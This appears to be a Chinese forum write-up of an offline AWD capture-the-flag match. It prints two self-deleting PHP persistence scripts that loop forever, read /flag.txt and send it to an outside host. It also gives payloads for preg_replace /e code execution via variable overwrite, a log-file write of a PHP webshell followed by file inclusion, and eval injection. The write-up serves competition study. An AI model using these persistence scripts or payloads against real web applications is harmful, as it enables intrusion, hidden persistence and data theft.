一次小小的awd总结

线下赛总结

 
昨天打了一场简单的线下赛,这里面来总结一下吧(虽然已经不打CTF了),但是总结一下还是好的,不然不是浪费了吗~
 

后门

 
后门很明显,根目录下就有个Webshell,于是原本我想把我的不死马都整上去的,但是粘贴错了脚本,导致大家都不能通过这个漏洞拿Shell了
 
这里面粘贴一下我的脚本吧,我的思路是利用PHP不死马一直循环的提交Flag
 
GET版
 

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$flag=trim(file_get_contents("/flag.txt"));
while (1){
   $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"http://192.168.10.209:12345/flag=$flag"."&team=xxx");
	 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch,CURLOPT_HEADER,0);
	//curl_setopt($ch, CURLOPT_COOKIE, "a=b;c=d;"); //若比赛提交平台需要Cookie验证,那么这里面填写Cookie
	$data=curl_exec($ch);
	curl_close($ch);
    usleep(5000);
} 
?>

 
POST版
 

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$flag=trim(file_get_contents("/flag.txt"));
$postdata=['flag'=>$flag,'token'=>'6902687edf7fa80889bc56080687a290'];

while (1){
   $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"http://192.168.1.200:9090/");
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
	 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	 //curl_setopt($ch, CURLOPT_COOKIE, "a=b;c=d;"); //若比赛提交平台需要Cookie验证,那么这里面填写Cookie
	curl_setopt($ch,CURLOPT_HEADER,0);
	$data=curl_exec($ch);
	curl_close($ch);
    usleep(5000);
} 
?>

 
当然要是比赛提交平台验证了 token 的话当我没说,可惜了当时粘贴错了脚本,不过后来也审计了一个漏洞,还算可以把
 

代码审计

 

preg_replace代码执行

image

 
这里面我们表面上 $method $mail_replacement $ip_replacement $source 都不可控,但是我们可以利用上面的 $$ 进行变量覆盖
 

image

 
我们看看 $post_data 在哪里
 
action.php 有对应的变量
 

image

 
因此我们可以利用变量覆盖漏洞进行命令执行
 
Payload
 

GET
/action


POST
page=normaliz&method=/test/e&mail_replacement=phpinfo()&source=Just test

 

image

 

image

任意文件写入

 
common.php 中,存在 write_log 函数
 

image

 
$input 的值写入到 $cfg_logfile 文件中
 
$cfg_logfile 的值已经被固定了

image

 
看一下哪边调用了这个函数
 
image

 
先查看 normaliz.php 文件
 

image

 
是将错误信息写入到文件中,不适合我们写Webshell
 
我们看一下另一个文件

 
image

 
传入文件路径若不存在,就向那个文件中写入 Try to open Null file:+文件名
 
文件名我们可以用PHP的一句话木马测试,所以这里面我们看一下哪里调用了这个函数
 
view.php 的类中一个函数调用了这个方法

image

 
image

 
很多都调用了,我们拿最简单的 index.php 举例
 

image

 
image
 
 
因此我们可以向 index.php 传入一个不存在的文件名就行了
 
Paylaod
 

/index.php?page=%0a<?php phpinfo();?>/*

%0a是为了换行, /* 是注释掉后面的多余内容

 
image
 
 
当然因为有 .htacess 的限制,我们需要换个思路
 
image
 
 
这里面可以利用文件包含Getshell
 
image
 
action.php中可以包含这个文件
 
虽然过滤了 . 但是可以用绝对路径包含
image

 
Payload
 

/index.php?page=%0a<?php phpinfo();?>/*

%0a是为了换行, /* 是注释掉后面的多余内容


/action.php

POST
page=/var/www/html/logs/logfile

 
image
 

eval代码执行

 
这个比较隐晦,当时看见了,但是代码有点复杂没有深入分析
 

image

 
首先看 md5.php
 

image

image

 
先获取 view/md5.php 的内容
 

image

 
是一堆挺复杂的html
 
看下一个函数 parseHeadAndFoot

image

 
将页面footer和header替换为模板目录下的模板
 
下一个函数 parseVal

image

 
根据 data 数组中的键值替换为 值
 s
例如将 {?=res?} 替换为 {?=xx?}
 
对应为 $data['res']=xx
 
而且这个 res 我们是可控的
 
继续看下一个 parseIf
 
 

image

 
这一部分获取的是
 

image

 
后面也有几个正则提取,最后获取到 $strIf 然后放入eval中
 

image

 
中间有点复杂我们动态调试一下
 

image

image

 
果然将 res 的值替换成 我们传入的值了
 
经过第一次正则后我们被转换成了
 

 
其中我们插入的 Mikasa 也在其中
 
继续跟进

 
这里面就很明显了,是获取循环获取 $iar 数组的值
 

image

 
最后放入 eval中执行
 
那么我们可控的值也会被放进去

image

 
最后造成代码执行
 
Payload
 

/action.php

POST
page=md5&res="or phpinfo() or "

image

 
当然不仅仅是 md5.php 可以触发,在其他的地方同样是可以触发的(例如normaliz同样是可以的,不过是利用方式不同)
 

image

总结

 
学习了一下代码审计的技巧,是一次很有意义的比赛,Have Fun
 

3 Likes